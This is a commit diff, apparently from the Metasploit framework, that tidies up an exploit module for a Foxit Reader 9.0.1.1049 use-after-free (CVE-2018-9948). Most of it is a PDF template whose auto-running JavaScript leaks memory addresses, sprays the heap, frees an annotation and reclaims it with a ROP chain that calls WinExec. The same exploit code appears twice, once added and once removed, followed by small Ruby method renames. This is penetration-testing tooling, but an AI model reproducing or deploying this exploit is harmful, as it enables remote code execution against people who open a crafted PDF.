Cleanup for foxit_reader_uaf
Wei Chen
parent
55bf6e5dd4
commit
254e8b9fd0
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@ -0,0 +1,125 @@
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%PDF
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1 0 obj
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<</Pages 1 0 R /OpenAction 2 0 R>>
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2 0 obj
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<</S /JavaScript /JS (
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var heap_ptr = 0;
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var foxit_base = 0;
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var pwn_array = [];
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function prepare_heap(size){
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var arr = new Array(size);
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for(var i = 0; i < size; i++){
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arr[i] = this.addAnnot({type: "Text"});;
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if (typeof arr[i] == "object"){
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arr[i].destroy();
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}
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}
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}
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function gc() {
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const maxMallocBytes = 128 * 0x100000;
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for (var i = 0; i < 3; i++) {
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var x = new ArrayBuffer(maxMallocBytes);
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}
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}
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function alloc_at_leak(){
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for (var i = 0; i < 0x64; i++){
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pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
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}
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}
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function control_memory(){
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for (var i = 0; i < 0x64; i++){
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for (var j = 0; j < pwn_array[i].length; j++){
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pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
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}
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}
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}
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function leak_vtable(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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gc();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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var leaked = stolen[0] & 0xffff0000;
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foxit_base = leaked - 0x01f50000;
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}
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function leak_heap_chunk(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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alloc_at_leak();
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heap_ptr = stolen[1];
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}
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function reclaim(){
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var arr = new Array(0x10);
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for (var i = 0; i < arr.length; i++) {
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arr[i] = new ArrayBuffer(0x60);
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var rop = new Int32Array(arr[i]);
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rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
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rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
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rop[0x02] = 0x72727272; // junk
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rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
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rop[0x04] = 0xffffffff; // ret of WinExec
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rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
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rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
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rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
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rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
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rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
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rop[0x0a] = foxit_base + 0x0041c6ca; // ret
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rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
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<%= rop %>
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rop[0x17] = 0x00000000; // adios, amigo
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}
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}
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function trigger_uaf(){
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var that = this;
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var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
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var arr = [1];
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Object.defineProperties(arr,{
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"0":{
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get: function () {
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that.getAnnot(0, "uaf").destroy();
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reclaim();
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return 1;
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}
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}
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});
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a.point = arr;
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}
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function main(){
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leak_heap_chunk();
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leak_vtable();
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control_memory();
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trigger_uaf();
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}
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if (app.platform == "WIN"){
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if (app.isFoxit == "Foxit Reader"){
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if (app.appFoxitVersion == "9.0.1.1049"){
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main();
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}
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}
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}
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)>> trailer <</Root 1 0 R>>
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@ -1,130 +0,0 @@
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require 'erb'
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template = %q{
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%PDF
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1 0 obj
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<</Pages 1 0 R /OpenAction 2 0 R>>
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2 0 obj
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<</S /JavaScript /JS (
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var heap_ptr = 0;
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var foxit_base = 0;
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var pwn_array = [];
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function prepare_heap(size){
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var arr = new Array(size);
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for(var i = 0; i < size; i++){
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arr[i] = this.addAnnot({type: "Text"});;
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if (typeof arr[i] == "object"){
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arr[i].destroy();
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}
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}
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}
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function gc() {
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const maxMallocBytes = 128 * 0x100000;
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for (var i = 0; i < 3; i++) {
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var x = new ArrayBuffer(maxMallocBytes);
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}
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}
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function alloc_at_leak(){
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for (var i = 0; i < 0x64; i++){
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pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
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}
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}
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function control_memory(){
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for (var i = 0; i < 0x64; i++){
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for (var j = 0; j < pwn_array[i].length; j++){
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pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
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}
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}
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}
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function leak_vtable(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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gc();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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var leaked = stolen[0] & 0xffff0000;
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foxit_base = leaked - 0x01f50000;
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}
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function leak_heap_chunk(){
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var a = this.addAnnot({type: "Text"});
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a.destroy();
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prepare_heap(0x400);
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var test = new ArrayBuffer(0x60);
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var stolen = new Int32Array(test);
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alloc_at_leak();
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heap_ptr = stolen[1];
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}
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function reclaim(){
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var arr = new Array(0x10);
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for (var i = 0; i < arr.length; i++) {
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arr[i] = new ArrayBuffer(0x60);
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var rop = new Int32Array(arr[i]);
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rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
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rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
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rop[0x02] = 0x72727272; // junk
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rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
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rop[0x04] = 0xffffffff; // ret of WinExec
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rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
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rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
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rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
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rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
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rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
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rop[0x0a] = foxit_base + 0x0041c6ca; // ret
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rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
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<%= rop %>
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rop[0x17] = 0x00000000; // adios, amigo
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}
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}
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function trigger_uaf(){
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var that = this;
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var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
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var arr = [1];
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Object.defineProperties(arr,{
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"0":{
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get: function () {
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that.getAnnot(0, "uaf").destroy();
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reclaim();
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return 1;
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}
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}
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});
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a.point = arr;
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}
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function main(){
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leak_heap_chunk();
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leak_vtable();
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control_memory();
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trigger_uaf();
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}
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if (app.platform == "WIN"){
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if (app.isFoxit == "Foxit Reader"){
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if (app.appFoxitVersion == "9.0.1.1049"){
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main();
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}
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}
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}
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)>> trailer <</Root 1 0 R>>
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}
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@ -62,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
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])
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end
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def pdfdoc
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def get_pdf
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share = datastore['SHARE'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}" : datastore['SHARE']
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fname = datastore['EXENAME'].empty? ? "#{Rex::Text.rand_text_alpha_lower(1)}.exe" : datastore['EXENAME']
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fname << '.exe' unless fname.ends_with?('.exe')
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@ -85,19 +85,19 @@ class MetasploitModule < Msf::Exploit::Remote
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(max_index+1).upto(10) {|i| rop << "\nrop[0x%02x] = 0x00000000;" % (i+12)}
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begin
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path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2018-9948')
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pdfDoc = ERB.new(File.read("#{path}/template_pdf.erb")).result(binding())
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pdfDoc
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rescue
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template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-9948', 'template.pdf'))
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pdf_doc = ERB.new(template).result(binding())
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pdf_doc
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rescue Errno::ENOENT
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fail_with(Failure::NotFound, 'The PDF template was not found')
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end
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end
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def exploit
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mypdf = pdfdoc
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if mypdf.nil?
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my_pdf = get_pdf
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if my_pdf.nil?
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fail_with(Failure::BadConfig, 'The generated share path was greater than 44 bytes.')
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end
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file_create(mypdf)
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file_create(my_pdf)
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end
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end
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